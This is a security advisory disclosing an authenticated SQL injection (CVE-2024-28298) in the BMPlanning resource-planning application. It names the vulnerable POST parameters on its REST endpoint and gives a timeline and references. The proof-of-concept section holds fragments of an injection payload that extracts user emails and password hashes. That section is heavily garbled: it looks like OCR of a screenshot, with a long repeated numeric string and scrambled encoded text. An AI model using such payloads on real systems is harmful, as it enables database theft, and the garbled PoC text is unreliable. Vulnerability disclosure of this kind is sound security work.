

Security advisory

Authenticated SQL Injection vulnerability in BMPlanning V 1.0.0.1

July, 2024

CVE-2024-28298

Release date: 17/06/2024

Department: POST Cyberforce

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Vulnerability summary

Product BMPlanning

Product homepage https://e-bmsoft.com/

Affected product versions 1.0.0.1

Severity Medium: CVSS v4.0 score - 5.3

CVSS v4.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

MITRE ATT&CK T1190

OWASP OWASP A03:2021

CWE CWE-89

Workarounds No workarounds available

Fixed product versions N/A

Validated impact:

BMPlanning database exfiltration.

Timeline

Date	Action
13 February 2024	Vulnerability identification, exploitation and impact validation
27 February 2024	Vendor notified via en email, but no response.
27 February 2024	CVE Request via MITRE web site.
29 April 2024	CVE-2024-28298 assigned by MITRE.
30 April 2024	Vendor informed about the assigned CVE id, but no response.
17 July 2024	Communication to the Vendor about the public release.
17 July 2024	Advisory publicly released by POST Cyberforce

References:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28298
- https://attack.mitre.org/techniques/T1190/
- https://owasp.org/Top10/A03_2021-Injection/
- https://cwe.mitre.org/data/definitions/89.html





Product description

The BMPlanning application is a resource planning tool that supports various aspects of resource planning to manage organizational processes:

- Data migration from old to new system;
- · User training;
- Project management;
- Planning implementation;
- ...

Advisory

Several parameters in the BMPlanning application are vulnerable to SQL Injection, allowing an attacker to interact with the DBMS. The impacts include the extraction of application and user account data.

An authenticated user is required to perform this attack. This issue affects the latest version of the BMPlanning application (version 1.0.0.1).





Vulnerability description

Vulnerable endpoints:

The POST parameters <u>SEC_IDF</u>, <u>LIE_IDF</u>, <u>PLANF_IDF</u>, <u>CLI_IDF</u>, <u>DOS_IDF</u>, and others on the /BM-ServerR.dll/BMRest endpoint are vulnerable to SQL Injection.

Proof of concept

This is an example of the exploitation of the SQL injection vulnerability via the LIE_IDF parameter. The email and the encrypted password were extracted in a single HTTP request:

```
Pretty Raw Hex Render

MXcqb3ATTU

IX.Hdm

IX.
      POST /BMServerR.dll/BMRest HTTP/1.1
Host:
Cookie: B5512=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ctcH10v
| qdx|| | 13852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 15852 | 1585
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"IMAGE":"2",
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Connection: close
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"Errors":[
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         *%25a%25'%20F08%20XML%20path(''))%20as%20int)&PLANF_IDF-&BeginDate=12/02/2024&RendDate=12/02/2024&ReportPresentation=dos&ED_TYPE=1&Wid=18933#

3A300403&.sys_user_trace=
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"CODE":"0612",
           kepottrresentation=oosee__ir==lanu=lsss=
\text{"x5R822actionsyz2x3Ax558FW52cevtx2x5x8x52cfickx2zx2c%2ztype%2z8x3x2butfont2x2x5z2cbject%2z8x3x78
%22idx2z8x3x2z8z3x6zx2x6x2innerfext%2z8x3x2zload%2z870%70%50%2c%2active_page%2z8x3x78%2ceaption%2z%
3x8z2sidftreemplate-sockets%2z%2c%2zinfo%2z%3x8z2bmsyu_action%30%26bmsyu_objet%30bmsyu_Report_Pri
se_Service.html%22%70%70
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'MESSAGES":
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"FIELD_NAME": "8612"
```

Figure 1: POC: LIE_IDF SQL Injection

Recommendation

Contact the VENDOR (no fix available at this time).



